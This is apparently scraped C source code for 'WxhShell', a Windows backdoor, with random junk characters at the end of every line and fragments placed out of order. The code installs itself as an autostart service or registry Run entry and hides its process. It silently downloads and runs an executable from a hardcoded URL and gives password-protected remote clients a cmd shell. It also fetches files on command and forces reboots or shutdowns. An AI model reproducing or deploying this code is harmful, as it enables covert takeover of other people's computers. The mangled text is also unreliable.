    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QK/+*hr;  
    if(Boot(SHUTDOWN)) #+5mpDh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )}g4Rvr  
    else { `cTsS  
    closesocket(wsh); A0 w `o  
    ExitThread(0); Z[A|SyZp  
    } M#gGD-  
    break; `E1_S  
    } "Z1&z-   
  // 获取shell %2FCpre;  
  case 's': { I}CA-8  
    CmdShell(wsh); 0jx~_zq-j  
    closesocket(wsh); OrqJo!FEg{  
    ExitThread(0); e"8m+]  
    break; =xQfgj  
  } .TrQ +k>  
  // 退出 "u> sS  
  case 'x': { ucm.~1G(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?;=Y1O7N(  
    CloseIt(wsh); jnLo[Cf,H8  
    break; 'V1 -iJj9  
    } UHDI9>G~,  
  // 离开 i(qYyO'  
  case 'q': { C%7,#}[U/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9/qS*Zdh)  
    closesocket(wsh); uL{~(?U$  
    WSACleanup(); ?@ye*%w_  
    exit(1); 1RO gUJ;  
    break; >Ki]8 &  
        } \/dm}' `  
  } ur quVb  
  } &+|4(d1  
5 WNRo[`7  
  // 提示信息 }\qdow-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &JQ@(w  
} %<o$ J~l~  
  } 'f<_SKd  
,f""|X5  
  return; [LEh  
} Hbj:CViYq  
#YMp,i  
// shell模块句柄 hx;kEJ  
int CmdShell(SOCKET sock) ^cXL4*_=  
{ |@9I5Eg)iE  
STARTUPINFO si; <("w'd}  
ZeroMemory(&si,sizeof(si)); s 7cyo ]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~;4k UJD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zNTu j p  
PROCESS_INFORMATION ProcessInfo; B*?PB]  
char cmdline[]="cmd"; >+LgJo R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v\tbf  
  return 0; 7 QJcRZ[lU  
} :^L]Da3  
cNB$g )`  
// 自身启动模式 $Lbe5d?\  
int StartFromService(void) 8q LgB  
{ _+Kt=;Y8  
typedef struct 2g8P$+;  
{ $%"}N_M  
  DWORD ExitStatus; N5_.m(:  
  DWORD PebBaseAddress; 6&Ir0K/  
  DWORD AffinityMask; Q]'!FmXf  
  DWORD BasePriority; }EG(!)u  
  ULONG UniqueProcessId; p5rRhu/|k3  
  ULONG InheritedFromUniqueProcessId; 4E(5Ccb  
}   PROCESS_BASIC_INFORMATION; <R8Z[H:bV  
"$V2$  
PROCNTQSIP NtQueryInformationProcess; -ZON']|<}k  
a~TZ9yg+HL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DyTk<L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1^>g>bn_"  
*^5,7}9Qo  
  HANDLE             hProcess; xa*gQ%+F  
  PROCESS_BASIC_INFORMATION pbi; ^W05Z!}  
)GKgK;=~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 491I  
  if(NULL == hInst ) return 0; T/6=A$4 #  
+B|X k[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); beR)8sC3q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =8 D4:Ds  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9>>}-;$  
y5D?Bg|M  
  if (!NtQueryInformationProcess) return 0; +E[)@;T  
w[G_w:$a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W)~.o/;  
  if(!hProcess) return 0; A>2p/iMc  
JU.%;e7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bb"4^EOZ,  
vfDb9QP  
  CloseHandle(hProcess); F}DD;K  
E\N=p&g$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  (t['  
if(hProcess==NULL) return 0; e>Y2q|S85  
?0%TE\I8  
HMODULE hMod; 0l@+xS;  
char procName[255]; lM%fgyX  
unsigned long cbNeeded; -B(KQT,J  
gQDK?aQX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i?=.; 0[|  
rB?cm]G=  
  CloseHandle(hProcess); iRtDZoiD'  
S:\hcW6  
if(strstr(procName,"services")) return 1; // 以服务启动 Y\|J1I,Z4  
][1u:V/ U  
  return 0; // 注册表启动 I,3!uogn  
} F ;&e5G  
k4rB S  
// 主模块 W (=B H  
int StartWxhshell(LPSTR lpCmdLine) "-:\-sMt{  
{ 9X` QlJ2|  
  SOCKET wsl; p00AcUTq  
BOOL val=TRUE; T+D]bfjr&&  
  int port=0; <~+  
  struct sockaddr_in door; N+75wtLy&  
&/?jMyD@  
  if(wscfg.ws_autoins) Install(); !l^AKn|  
~m U_ `o  
port=atoi(lpCmdLine); rv%[?Ml  
2f4c;YS  
if(port<=0) port=wscfg.ws_port; lHqx}n@e  
jy2nn:1#^  
  WSADATA data; 1iDo$]TEK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Af<>O$$6  
W10fjMC}^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /D+$|k mW]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fC|u  
  door.sin_family = AF_INET; ~Xw?>&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D|:sSld @  
  door.sin_port = htons(port); :/qO*&i,N  
9#6/c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #Q7$I.O]  
closesocket(wsl); N Z`hy>LF^  
return 1; 6Qu*'  
} FM[To  
RY< b]|  
  if(listen(wsl,2) == INVALID_SOCKET) { Uk6!Sb  
closesocket(wsl); ^W'[l al.  
return 1; o |iLBh$)  
} ulM&kw.4i  
  Wxhshell(wsl); ;~1JbP  
  WSACleanup(); F k;su,]_  
CF_!{X_k}  
return 0; n#cN[C9  
QovC*1'  
} s\!vko'M  
q:^Cw8  
// 以NT服务方式启动 >IjLFM+U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ghc0{M<  
{ T%/w^27E  
DWORD   status = 0; hM w`e  
  DWORD   specificError = 0xfffffff; o+TZUMm  
c"1d#8J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p\ S3A(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K6 7? d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;i>E @  
  serviceStatus.dwWin32ExitCode     = 0; |lV9?#!  
  serviceStatus.dwServiceSpecificExitCode = 0; Bx4GFCdifC  
  serviceStatus.dwCheckPoint       = 0; ]E^f8s0#V  
  serviceStatus.dwWaitHint       = 0; U^\~{X  
V0i$"|F+ E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RiG!TTa b  
  if (hServiceStatusHandle==0) return; p]=;t"  
w}q"y+=Z:  
status = GetLastError(); =:eE!  
  if (status!=NO_ERROR) caht4N{T  
{ Al}PJz\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O]eJQ4XN<  
    serviceStatus.dwCheckPoint       = 0; Mk?I}  
    serviceStatus.dwWaitHint       = 0; Lm#d.AD)  
    serviceStatus.dwWin32ExitCode     = status; F-0PmO~3+W  
    serviceStatus.dwServiceSpecificExitCode = specificError; or`stBx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |'_<(z  
    return; [rU8 #4.  
  } 89mre;v`  
"~ stZ.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @un }&URp  
  serviceStatus.dwCheckPoint       = 0; 2"mj=}y6  
  serviceStatus.dwWaitHint       = 0; 8 GN{*Hg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F9r*ZyNlx  
} vy2aNUmt  
ZQA C &:  
// 处理NT服务事件,比如:启动、停止 V.:A'!$#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )W|jt/  
{ p>3'77 V  
switch(fdwControl) mC(t;{  
{ %;$Y|RbmqE  
case SERVICE_CONTROL_STOP: _B FX5ifK  
  serviceStatus.dwWin32ExitCode = 0; 38i,\@p`9$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3 ?~+5DU  
  serviceStatus.dwCheckPoint   = 0; 8-YrmP2k  
  serviceStatus.dwWaitHint     = 0; WEAXqDjM  
  { +Ob#3PRy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); );H[lKy  
  } 4+,Z'J%\[7  
  return; T]-~?;Jh8  
case SERVICE_CONTROL_PAUSE: [)vwg`]   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *PU,Rc()6  
  break; w[YbL2p  
case SERVICE_CONTROL_CONTINUE: ygt)7f5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >]8.xkQq  
  break; 4LJ}>e  
case SERVICE_CONTROL_INTERROGATE: X{9o8 *V  
  break; /j@ `aG(a  
}; tta0sJ8 i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tdF[2@?+  
} F:GKnbY  
~la04wR28  
// 标准应用程序主函数 :Xh`.*{EX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QC,(rB  
{ KdsvZim0>  
:9#{p^:o  
// 获取操作系统版本 l?_!eA  
OsIsNt=GetOsVer(); \RyA}P5 S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -wMW@:M_  
b)^ZiRW``  
  // 从命令行安装 -GVG1#5  
  if(strpbrk(lpCmdLine,"iI")) Install(); HWOs@ !cL  
[qMdOY%jx  
  // 下载执行文件 ? 4Juw?  
if(wscfg.ws_downexe) { "m;]6B."  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %v:h]TA  
  WinExec(wscfg.ws_filenam,SW_HIDE); K/ m)f#  
} u@u.N2H.%  
FD+PD:cQn  
if(!OsIsNt) { TFDCo_>o  
// 如果时win9x,隐藏进程并且设置为注册表启动 }h h^U^ia  
HideProc(); wN hR(M7  
StartWxhshell(lpCmdLine); rss.F3dK  
} w*}yw"gP*0  
else [iy;}5XK  
  if(StartFromService()) ATp  6-  
  // 以服务方式启动 4 xzJql  
  StartServiceCtrlDispatcher(DispatchTable); r ;8z"*  
else N@a'd0oTd  
  // 普通方式启动 eE`1;13;  
  StartWxhshell(lpCmdLine); $: m87cR~  
y$V)^-U>fw  
return 0; ! H=k7s  
} .|`=mx  
>=:T ZU  
C-^%g [#  
Z1&GtM  
=========================================== [Fj+p4*N  
9|A-oS  
&ntP~!w  
| 8Egw-f  
bRz^=  
RXS|-_$  
" sxwW9_C  
pQ(eF0KG  
#include <stdio.h> Ss! 3{VW  
#include <string.h> 5=h'!|iY  
#include <windows.h> 1$D`Z/N"A  
#include <winsock2.h> -<JBKPtA  
#include <winsvc.h> ;=\5$J9  
#include <urlmon.h> 'Mx K}9  
q&d&#3Rh  
#pragma comment (lib, "Ws2_32.lib") Bd~cY/M  
#pragma comment (lib, "urlmon.lib") ^~<Rzq!  
{F+M&+``  
#define MAX_USER   100 // 最大客户端连接数 t^_{5  
#define BUF_SOCK   200 // sock buffer 6 #x)W  
#define KEY_BUFF   255 // 输入 buffer cm 9oG  
$< K)fbG  
#define REBOOT     0   // 重启 hN:F8r+DG  
#define SHUTDOWN   1   // 关机 5ZyBP~  
Zjic"E1  
#define DEF_PORT   5000 // 监听端口 UQ.D!q  
QJIItx4hE  
#define REG_LEN     16   // 注册表键长度 _[vdY|_  
#define SVC_LEN     80   // NT服务名长度 Lr}b,  
mn; 7o~4  
// 从dll定义API H"q`k5R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n &\'Hm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }#W`<,*rL.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L+~YCat|$U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cv*Q]F1%  
jFNs=D&(  
// wxhshell配置信息 &QOWW}  
struct WSCFG { )y/DGSd  
  int ws_port;         // 监听端口 k#Ez  
  char ws_passstr[REG_LEN]; // 口令 }L$Xb2^l  
  int ws_autoins;       // 安装标记, 1=yes 0=no hLytKPgt  
  char ws_regname[REG_LEN]; // 注册表键名 *)`kx   
  char ws_svcname[REG_LEN]; // 服务名 lKV\1(`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X=p3KzzX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "h;;.Y8e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P7wqZ?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TI[UX16Tz1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4Ay`rG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WE.$at{*h  
gVnws E  
}; x>^3]m  
?bt`fzX{l  
// default Wxhshell configuration 5rfH;`  
struct WSCFG wscfg={DEF_PORT, ]/o12pI  
    "xuhuanlingzhe", Jny)uo8  
    1, Zc%foK{  
    "Wxhshell", .@i0U  
    "Wxhshell",  z _O,Y  
            "WxhShell Service", $W/+nmb)@K  
    "Wrsky Windows CmdShell Service", ."IJmv  
    "Please Input Your Password: ", aVQSN  
  1, xI@$aTGq  
  "http://www.wrsky.com/wxhshell.exe", A{aw< P|+  
  "Wxhshell.exe" Xb=2/\}|f  
    }; # cN_y  
5 PGlR!^  
// 消息定义模块 8R\>FNk;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /UpD$,T|^|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~MhgAC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2JiAd*WK  
char *msg_ws_ext="\n\rExit."; )+n,5W  
char *msg_ws_end="\n\rQuit."; Y^f94s:2S  
char *msg_ws_boot="\n\rReboot..."; M[YTk=IM#  
char *msg_ws_poff="\n\rShutdown..."; gV"qV   
char *msg_ws_down="\n\rSave to "; #+K Kvk  
=% q?Cr  
char *msg_ws_err="\n\rErr!"; m"gni #  
char *msg_ws_ok="\n\rOK!"; %@lV-(5q  
SZ5O89  
char ExeFile[MAX_PATH]; AV:Xg4UJv  
int nUser = 0; 9;0V  /y  
HANDLE handles[MAX_USER]; L$+d.=]  
int OsIsNt; .3lGX`d{  
Mw"xm9(Q  
SERVICE_STATUS       serviceStatus; pg~zUOY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -?< Ww{  
3h9Sz8  
// 函数声明 =tr1*s{  
int Install(void); RzA2*]%a  
int Uninstall(void); E`Jp(gK9F  
int DownloadFile(char *sURL, SOCKET wsh); &W=V%t>Z  
int Boot(int flag); {OB-J\7Y  
void HideProc(void); +}_Pf{MW  
int GetOsVer(void); 0jxO |N2)  
int Wxhshell(SOCKET wsl); $ Wit17j  
void TalkWithClient(void *cs); :+~KPn>w5  
int CmdShell(SOCKET sock); _PXG AS  
int StartFromService(void); q>_vE{UB  
int StartWxhshell(LPSTR lpCmdLine); (jU/Wj!q  
l GdM80f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j5L)N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <^lJr82  
^FP} qW~;9  
// 数据结构和表定义 I jZ]_*^!  
SERVICE_TABLE_ENTRY DispatchTable[] = t)-*.qZh  
{ uYFMv=>j  
{wscfg.ws_svcname, NTServiceMain}, bTZ>@~$  
{NULL, NULL} &qJPwO  
}; 2R^O,Vu*W  
U't E^W  
// 自我安装 \Sg<='/{L;  
int Install(void) yiiyqL*E  
{ 8g\wVKkTQp  
  char svExeFile[MAX_PATH]; i 3m3zXt  
  HKEY key; gRBSt M&hU  
  strcpy(svExeFile,ExeFile); NF6X- ,c d  
Z+g1~\  
// 如果是win9x系统,修改注册表设为自启动 !C Vuw  
if(!OsIsNt) { <0CzB"Ap  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #EJhAJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B?+ .2  
  RegCloseKey(key); J.#(gFBBl\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 25UYOK}!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _eGT2,D5r  
  RegCloseKey(key); R)ERx z#  
  return 0; w{pUUo:<  
    } <lUOJV{&\  
  } _ `H.h6h  
} m23+kj)+VY  
else { rJ'/\Hh5P  
puOC60zI  
// 如果是NT以上系统,安装为系统服务 K*~]fy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2@vJ  
if (schSCManager!=0) KkEv#2n  
{ p8Iw!HE  
  SC_HANDLE schService = CreateService -;^;2#](g  
  ( # kyl?E  
  schSCManager, U#bl=%bF  
  wscfg.ws_svcname, OA[&Za#w  
  wscfg.ws_svcdisp, Z1M>-[j)  
  SERVICE_ALL_ACCESS, Frk cO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F!J J6d53y  
  SERVICE_AUTO_START, BPqk "HG]T  
  SERVICE_ERROR_NORMAL, cB#nsu>  
  svExeFile, 'Y.Vn P&H  
  NULL, Mi ; glm  
  NULL, n-$VUo  
  NULL,  9:5:`' b  
  NULL, h{k_6ym  
  NULL h4/X 0@l`  
  ); mLwoi!]m  
  if (schService!=0) {Hl[C]25X  
  { UfO7+_2  
  CloseServiceHandle(schService); Cp#)wxi6[y  
  CloseServiceHandle(schSCManager); A3HF,EG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {XgnZ`*  
  strcat(svExeFile,wscfg.ws_svcname); 5o#Yt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FW8-'~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rz%<AF Z  
  RegCloseKey(key); YzAFC11,  
  return 0; UNDi_6Dy   
    } XF}rd.K:  
  } q_ %cbAcD  
  CloseServiceHandle(schSCManager); $+cAg >  
} lv]quloT  
} f6!D L<  
. w H*sb  
return 1; k;I  &.H  
} + E/y ~s  
Q6IQV0{p  
// 自我卸载 ,LZX@'5  
int Uninstall(void) =p@8z /u  
{ !"Q}R p  
  HKEY key; M\oTZ@  
I;7nb4]AmF  
if(!OsIsNt) { {fV}gR2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k6"KB  
  RegDeleteValue(key,wscfg.ws_regname); 2 -Xdoxw  
  RegCloseKey(key); -Xz&}QA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y#v"GblM  
  RegDeleteValue(key,wscfg.ws_regname); |>2FRPK  
  RegCloseKey(key); |.P/:e9  
  return 0; LZ U$  
  } V-!"%fO.s  
} K-eY|n  
} 6Pn8f  
else { e-5?p~>  
M2@b1;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s '?GH  
if (schSCManager!=0) (*\jbK  
{ ] asBd"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &|Pu-A"5~  
  if (schService!=0) U__(; /1;  
  { 7v7G[n  
  if(DeleteService(schService)!=0) { gRJfX %*F  
  CloseServiceHandle(schService); gNpJ24QK  
  CloseServiceHandle(schSCManager); QHt4",Ij  
  return 0; <#+44>h  
  } Pw0Ci  
  CloseServiceHandle(schService); 2F`cv1M  
  } zsXoBD\h  
  CloseServiceHandle(schSCManager); BxK^?b[E8  
} 1 " #*)MF  
} *e#<n_%R  
1w(JEqY3h:  
return 1; xI*#(!x"G  
} }/P5>F<H[  
B;K`q  
// 从指定url下载文件 l8h&|RY[  
int DownloadFile(char *sURL, SOCKET wsh) sZ<9A Xk-E  
{ CjIu[S1%  
  HRESULT hr; ]rN5Ao}2  
char seps[]= "/"; . lgPFr6X  
char *token; 8qEK+yi,  
char *file; A"5z6A4WB  
char myURL[MAX_PATH]; US [dkbKo  
char myFILE[MAX_PATH]; 3q:n'PC)C  
-62'}%?A<C  
strcpy(myURL,sURL); )~6zYJ2  
  token=strtok(myURL,seps); W5L iXM  
  while(token!=NULL) h].~#*  
  { <"D=6jqZ  
    file=token; ?ULo&P[  
  token=strtok(NULL,seps); )vg5((C  
  } bI)u/  
iJ' xh n  
GetCurrentDirectory(MAX_PATH,myFILE); :u8(^]N  
strcat(myFILE, "\\"); *+'2?*  
strcat(myFILE, file); (+<1*5BEkT  
  send(wsh,myFILE,strlen(myFILE),0); u]+~VT1C,3  
send(wsh,"...",3,0); .\0isO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W|:lVAP.|}  
  if(hr==S_OK) me6OPc;:!  
return 0; G 0O#/%%  
else NLPkh,T:  
return 1; \#-W <  
Io4(f  
} @yXfBML?]  
ofYlR|  
// 系统电源模块 r_e7a6  
int Boot(int flag) jcNT<}k C  
{ uXDq~`S  
  HANDLE hToken; W>VP'vn}  
  TOKEN_PRIVILEGES tkp; yme^b ;a  
=[\s8XH,  
  if(OsIsNt) { mC?i}+4>4R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o&AM2U/?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r78TE@d  
    tkp.PrivilegeCount = 1; bl_H4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #P]#9Ty:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o9xlu.QL{c  
if(flag==REBOOT) { +aF}oA&X[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }ENR{vz$A  
  return 0; 8Og_W8  
} '>$]{vQ3  
else { [aI]y =v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lrf v+  
  return 0; X#3et'  
} uVzFsgBp  
  } h~{aGo  
  else { N]KxAttt  
if(flag==REBOOT) { Mu'8;9_6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pdJ/&ufh  
  return 0; ;nC.fBu  
} =@k%&* Y?  
else { S= _vv)6+4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /Q~gU<  
  return 0; kJW N.  
} k} ]T;|h]  
} dlhdsj:  
*@d&5  
return 1; 3~nnCR[R  
} F u&EhGm6  
L\y;LSTU  
// win9x进程隐藏模块 6#IU*  
void HideProc(void) /axIIfx-  
{ \(t@1]&jw  
It2" x;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )M__ t5L  
  if ( hKernel != NULL ) V& C/Z}\  
  { [D*UT#FM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /-bO!RTwf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @6l%,N<fou  
    FreeLibrary(hKernel); D#&q&6P{  
  } nLV9<M Zm  
gJ2>(k03y  
return; l NQcYv  
} l}$ U])an#  
"M|zv  
// 获取操作系统版本 E ;<l(.Ar  
int GetOsVer(void)  o x+ 3U  
{ <7-J0btV  
  OSVERSIONINFO winfo; f>aRkTHf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )T;?^kho  
  GetVersionEx(&winfo); $95h2oXt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UI>Y0O  
  return 1; 3e(ehLc4DJ  
  else sZW^ !z  
  return 0; h6} lpd  
} pZtu&R%GU  
dnj}AVfQx  
// 客户端句柄模块 e9Nk3Sj]  
int Wxhshell(SOCKET wsl) l x,"EOP  
{ fu90]upz~  
  SOCKET wsh; X/N0LU(q  
  struct sockaddr_in client; Zh_|m#)  
  DWORD myID; ;|UF)QGa2  
Y(44pA&oN  
  while(nUser<MAX_USER) x' .:&z  
{ -!c"k}N=  
  int nSize=sizeof(client); ss5 m/i7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); da (km+  
  if(wsh==INVALID_SOCKET) return 1; @:KJYm[  
26xXl|I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yRo- EP  
if(handles[nUser]==0) :O(^w}sle  
  closesocket(wsh); ^5=B`aich  
else {J^lX/D  
  nUser++; d6W SL;$  
  } c+2FC@q{l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b$Vz2Fzx  
:]J Ye*  
  return 0; ?(R]9.5S  
} JGuN:c$  
%'[&U#-  
// 关闭 socket .l@xsJn  
void CloseIt(SOCKET wsh) _Gu- uuy  
{ n5{Xj:}  
closesocket(wsh); .nyfYa+  
nUser--; 1&e} ms  
ExitThread(0); =C~/7N,lW]  
} b!)<-|IK  
 =|9H  
// 客户端请求句柄 9'r:~ O  
void TalkWithClient(void *cs) R9B&dvG  
{ 9Lr'YRl[W  
`3:.??7N  
  SOCKET wsh=(SOCKET)cs; sqW* pi  
  char pwd[SVC_LEN]; %Qj;,#z  
  char cmd[KEY_BUFF]; %Q.&ZhB  
char chr[1]; ZcaX'5} !S  
int i,j; 4fe7U=#;Y  
t*?0D\b 2  
  while (nUser < MAX_USER) { %JLk$sP9y`  
yrR1[aT  
if(wscfg.ws_passstr) { HeG)/W?r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .-<k>9S7_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IKi5 v~bE  
  //ZeroMemory(pwd,KEY_BUFF); B9wPU1  
      i=0; 8cA~R-  
  while(i<SVC_LEN) { aXL{TD:]  
{RF-sqce  
  // 设置超时 G#?Sfn O0  
  fd_set FdRead; +). 0cs0k5  
  struct timeval TimeOut; *cEob b  
  FD_ZERO(&FdRead); DZ_lW  
  FD_SET(wsh,&FdRead); |_yYLYH'   
  TimeOut.tv_sec=8; O9r>E3-q  
  TimeOut.tv_usec=0; SCz(5[MZJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2Y7)WPn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +=:#wzK@  
Z.M,NR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lv]hTH 4T  
  pwd=chr[0]; 3mOtW%Hl  
  if(chr[0]==0xd || chr[0]==0xa) { 3YZs+d.;ib  
  pwd=0; pZeE61c/  
  break; k68F-e[i^  
  } .B\5OI,]  
  i++; L =8rH5  
    } Jej` ;I  
_vZ"4L+Iw+  
  // 如果是非法用户,关闭 socket !&"<oPjr+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t 89!Ihk  
} Ovj^IjG-`  
4)("v-p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !=N"vD*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fXcm|U,ho  
Lliq j1&  
while(1) { N"3b{Qi o  
$ >EYhLBa  
  ZeroMemory(cmd,KEY_BUFF); MX@_=Sp-  
l~ M_S<4n  
      // 自动支持客户端 telnet标准   A7n\h-b  
  j=0; CXC`sPY  
  while(j<KEY_BUFF) { f{FDuIl n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =XY\iV1J*  
  cmd[j]=chr[0]; qBCK40   
  if(chr[0]==0xa || chr[0]==0xd) { Dre]AsgiV  
  cmd[j]=0; YiPoYlD*n<  
  break; m o:D9  
  } Uy$)%dYfq5  
  j++; p1|f<SF')  
    } o9H^?Rut  
nG;8:f`  
  // 下载文件 xQ@^$_  
  if(strstr(cmd,"http://")) { |JVk&8 ?8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p8]68!=W\F  
  if(DownloadFile(cmd,wsh)) beu\cV3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ka3u&3"  
  else vo#UtN:q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +mp@b942*  
  } M-giR:,  
  else { D &/L:  
pi ,eIm  
